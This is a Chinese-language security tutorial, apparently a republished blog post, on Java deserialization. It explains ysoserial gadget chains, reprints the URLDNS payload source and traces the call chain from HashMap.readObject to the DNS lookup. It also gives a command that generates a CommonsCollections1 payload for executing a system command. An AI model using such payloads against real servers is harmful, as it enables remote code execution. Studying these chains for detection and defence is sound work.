栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

java安全(六)java反序列化2,ysoserial调试

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

java安全(六)java反序列化2,ysoserial调试

给个关注?宝儿!
给个关注?宝儿!
给个关注?宝儿!
关注公众号:b1gpig信息安全,文章推送不错过

ysoserial

下载地址:https://github.com/angelwhu/ysoserial
ysoserial可以让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令。

什么是利⽤链?
利⽤链也叫“gadget chains”,我们通常称为gadget。如果你学过PHP反序列化漏洞,那么就可以将gadget理解为⼀种⽅法,它连接的是从触发位置开始到执⾏命令的位置结束,在PHP⾥可能
是 __desctruct 到 eval ;如果你没学过其他语⾔的反序列化漏洞,那么gadget就是⼀种⽣成POC的
⽅法罢了。

ysoserial的使⽤也很简单,虽然我们暂时先不理解 CommonsCollections ,但是⽤ysoserial可以很容

易地⽣成这个gadget对应的POC:

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "id"

如上,ysoserial⼤部分的gadget的参数就是⼀条命令,⽐如这⾥是 id 。⽣成好的POC发送给⽬标,如
果⽬标存在反序列化漏洞,并满⾜这个gadget对应的条件,则命令 id 将被执⾏

URLDNS利用链

URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不
是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。

虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时
使⽤:

  • 使⽤Java内置的类构造,对第三⽅库没有依赖
  • 在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

ysoserial是如何⽣成 URLDNS 的代码的:
github地址

public class URLDNS implements ObjectPayload {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}
 
利⽤链分析 

看到 URLDNS 类的 getObject ⽅法,ysoserial会调⽤这个⽅法获得Payload。这个⽅法返回的是⼀个对
象,这个对象就是最后将被序列化的对象,在这⾥是 HashMap 。

我们前⾯说了,触发反序列化的⽅法是 readObject ,因为Java开发者(包括Java内置库的开发者)经
常会在这⾥⾯写⾃⼰的逻辑,所以导致可以构造利⽤链。

那么,我们可以直奔 HashMap 类的 readObject ⽅法

    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node[] tab = (Node[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

在倒数第四行:

putVal(hash(key), key, value, false, false);

可以看到将 HashMap 的键名计算了hash

在此处下断点,对这个 hash 函数进⾏调试并跟进,这是调⽤栈:

原因:在没有分析过的情况下,我为何会关注hash函数?因为ysoserial的注释中很明确地说明
了“During the put above, the URL’s hashCode is calculated and cached. This resets that so
the next time hashCode is called a DNS lookup will be triggered.”,是hashCode的计算操作触
发了DNS请求。


hash ⽅法调⽤了key的 hashCode() ⽅法:

static final int hash(Object key) {
 	int h;
 	return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
 }

URLDNS 中使⽤的这个key是⼀个 java.net.URL 对象,我们看看其 hashCode ⽅法:

此时, handler 是 URLStreamHandler 对象(的某个⼦类对象),继续跟进其 hashCode ⽅法:


这⾥有调⽤ getHostAddress ⽅法,继续跟进:

这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次
DNS查询。到这⾥就不必要再跟了。

我们⽤⼀些第三⽅的反连平台就可以查看到这次请求,证明的确存在反序列化漏洞:

taborator原理:
点击“Create payload©”并生成一个唯一的URL,我可以在需要有效载荷的任何地方使用它。
如果有任何人看到这个URL并访问它,我会在Burp Suite collaborator客户端收到一条通知。

所以,⾄此,整个 URLDNS 的Gadget其实清晰⼜简单:

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

从反序列化最开始的 readObject ,到最后触发DNS请求的 getByName ,只经过了6个函数调⽤,这在
Java中其实已经算很少了。

要构造这个Gadget,只需要初始化⼀个 java.net.URL 对象,作为 key 放在 java.util.HashMap
中;然后,设置这个 URL 对象的 hashCode 为初始值 -1 ,这样反序列化时将会重新计算
其 hashCode ,才能触发到后⾯的DNS请求,否则不会调⽤ URL->hashCode() 。

另外,ysoserial为了防⽌在⽣成Payload的时候也执⾏了URL请求和DNS查询,所以重写了⼀
个 SilentURLStreamHandler 类,这不是必须的。

转载请注明:文章转载自 www.mshxw.com
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号